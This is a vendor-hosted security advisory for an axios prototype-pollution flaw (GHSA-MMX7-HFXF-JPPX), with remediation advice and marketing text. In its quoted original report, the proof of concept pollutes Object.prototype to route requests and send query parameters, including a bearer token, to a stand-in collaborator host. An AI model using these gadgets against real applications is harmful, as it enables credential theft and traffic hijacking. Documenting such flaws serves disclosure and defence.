GHSA-MMX7-HFXF-JPPX

GHSA-MMX7-HFXF-JPPX is a medium-severity security vulnerability in axios (npm), affecting versions >= 1.0.0, < 1.18.0. It is fixed in 1.18.0, 0.33.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Axios: Prototype pollution gadgets can alter axios request construction

axios is vulnerable to read-side prototype-pollution gadgets when Object.prototype has already been polluted by another vulnerability or dependency. The most broadly reachable issue is in the bodyless method aliases: axios.get(), axios.delete(), axios.head(), and axios.options() read inherited data before config normalization, causing attacker-controlled body data to be sent on requests that did not explicitly set a body.

Additional low-level paths affect consumers that call exported adapters/helpers directly with plain config objects. In those cases, inherited proxy or paramsSerializer values can influence request routing or URL serialization. These low-level paths are not reproduced through normal axios.get() usage on 1.15.2+.

Affected Functionality

Affected normal API:

  • axios.get(url[, config])
  • axios.delete(url[, config])
  • axios.head(url[, config])
  • axios.options(url[, config])

Affected low-level usage:

  • Direct calls to axios/lib/adapters/http.js or axios/unsafe/adapters/http.js with plain configs and no own proxy.
  • Direct calls to axios/unsafe/helpers/resolveConfig.js or direct browser adapter/helper paths with plain configs and no own paramsSerializer.

Unaffected or corrected scope:

  • Normal axios.get() calls on 1.15.2+ did not reproduce the proxy or paramsSerializer gadgets because mergeConfig() returns a null-prototype config and uses own-property reads.

Technical Details

lib/core/Axios.js constructs aliases for bodyless methods and copies data with (config || {}).data before config normalization. If Object.prototype.data is polluted, this inherited value becomes an own data property in the merged request config and is sent by the adapter.

lib/core/mergeConfig.js in 1.15.2+ returns a null-prototype config and uses hasOwnProp guards, which prevents normal high-level requests from inheriting polluted proxy and paramsSerializer values after merge. This is why those two reporter claims do not reproduce through normal axios.get() on 1.15.2 or 1.16.1.

The low-level adapter/helper paths can still receive plain configs directly. In that usage, direct reads of config.proxy in the Node HTTP adapter and config.paramsSerializer in affected resolveConfig() versions can consume inherited polluted values.

Proof of Concept of Attack

import http from 'http';
import axios from 'axios';

const server = http.createServer((req, res) => {
  let body = '';

  req.on('data', chunk => {
    body += chunk;
  });

  req.on('end', () => {
    res.writeHead(200, {'content-type': 'application/json'});
    res.end(JSON.stringify({body, headers: req.headers}));
  });
});

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));

Object.prototype.data = 'INJECTED';

try {
  const res = await axios.get(`http://127.0.0.1:${server.address().port}/data`);

  console.log(res.data.body); // "INJECTED"
  console.log(res.data.headers['content-length']); // "8"
} finally {
  delete Object.prototype.data;
  await new Promise(resolve => server.close(resolve));
}

Expected result: a request body is sent even though the caller did not explicitly set config.data.

Workarounds

Avoid processing untrusted input with libraries or code paths that can pollute Object.prototype. As a defense-in-depth mitigation before an axios fix is available, explicitly pass data: undefined on bodyless method aliases when running in a process where prototype pollution is a concern.

Original Report

Three prototype pollution read-side gadgets in axios bypass the own() hasOwnProp guard pattern, allowing a polluted Object.prototype to hijack outbound requests.

Details

The own() helper was introduced after GHSA-q8qp-cvcw-x6jj to prevent polluted prototype properties from reaching security-sensitive config reads. Three paths were missed:

config.proxy at http.js:715 goes straight into setProxy(). A polluted Object.prototype.proxy reroutes outbound requests through an attacker-controlled proxy, exposing Authorization headers and full request URLs.

(config || {}).data at Axios.js:248 covers GET, HEAD, DELETE, OPTIONS. Even without explicit body, polluted value becomes the body. I got injected payloads on 3 of 4 method types in testing.

config.paramsSerializer at resolveConfig.js:32 is three lines below the own() definition that was supposed to protect it. A polluted function onto Object.prototype.paramsSerializer gets called with the request params on every request that has query strings.

I read up on the threat model and I believe T-R4b identifies this exact class and notes that config-read paths must use hasOwnProp guards. These three seem to predate or were missed by that coverage.

PoC

Ran against [email protected] on node:22-slim in Docker. Clean install, no other deps.

import axios from 'axios';

// gadget 1 - proxy
Object.prototype.proxy = { host: 'yourcollab.oastify.com', port: 8080, protocol: 'http' };
await axios.get('https://api.example.com/user', { headers: { Authorization: 'Bearer sk-test-1234567890' } });
// check collaborator - request arrives with full path + auth header
// gadget 2 - data on bodyless methods
Object.prototype.data = '{"injected":true}';
await axios.get('https://api.example.com/items');
await axios.delete('https://api.example.com/items/1');
await axios.head('https://api.example.com/items');
// 3/4 methods send the polluted body
// gadget 3 - paramsSerializer
Object.prototype.paramsSerializer = (p) => {
  fetch('https://yourcollab.oastify.com/?' + new URLSearchParams(p));
  return 'q=x';
};
await axios.get('https://api.example.com/search', { params: { token: 'secret' } });

Impact

Any app with a polluted prototype (common via transitive deps like lodash, qs, minimist) should be affected. Gadget 1 steals credentials and redirects traffic. Gadget 2 corrupts request semantics. Gadget 3 gives the attacker arbitrary control over URL construction and a data exfiltration channel. All three fire silently on normal application code that never touches proxy, data, or paramsSerializer directly.

Impact

An attacker who can first pollute Object.prototype can cause axios to send attacker-controlled request bodies on bodyless method aliases. This can corrupt request semantics where the receiving service processes bodies on GET, DELETE, HEAD, or OPTIONS.

For direct low-level Node HTTP adapter usage, inherited proxy can route requests through an attacker-controlled proxy. Depending on axios version, target scheme, and proxy behavior, this can expose request URLs, headers, and bodies or allow traffic modification.

For direct resolveConfig or browser-adapter helper usage, inherited paramsSerializer can be invoked with request params, allowing attacker-controlled URL serialization. This was not reproduced through normal high-level axios calls on 1.15.2+.

Affected versions

axios (>= 1.0.0, < 1.18.0) axios (< 0.33.0)

Security releases

axios → 1.18.0 (npm) axios → 0.33.0 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade the following packages to resolve this vulnerability:

axios to 1.18.0 or later; axios to 0.33.0 or later

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is GHSA-MMX7-HFXF-JPPX? GHSA-MMX7-HFXF-JPPX is a medium-severity security vulnerability in axios (npm), affecting versions >= 1.0.0, < 1.18.0. It is fixed in 1.18.0, 0.33.0.
  2. Which versions of axios are affected by GHSA-MMX7-HFXF-JPPX? axios (npm) versions >= 1.0.0, < 1.18.0 is affected.
  3. Is there a fix for GHSA-MMX7-HFXF-JPPX? Yes. GHSA-MMX7-HFXF-JPPX is fixed in 1.18.0, 0.33.0. Upgrade to this version or later.
  4. Is GHSA-MMX7-HFXF-JPPX exploitable, and should I be worried? Whether GHSA-MMX7-HFXF-JPPX is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether GHSA-MMX7-HFXF-JPPX is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix GHSA-MMX7-HFXF-JPPX?
    • Upgrade axios to 1.18.0 or later
    • Upgrade axios to 0.33.0 or later

Other vulnerabilities in axios

Stop the waste.
Protect your environment with Kodem.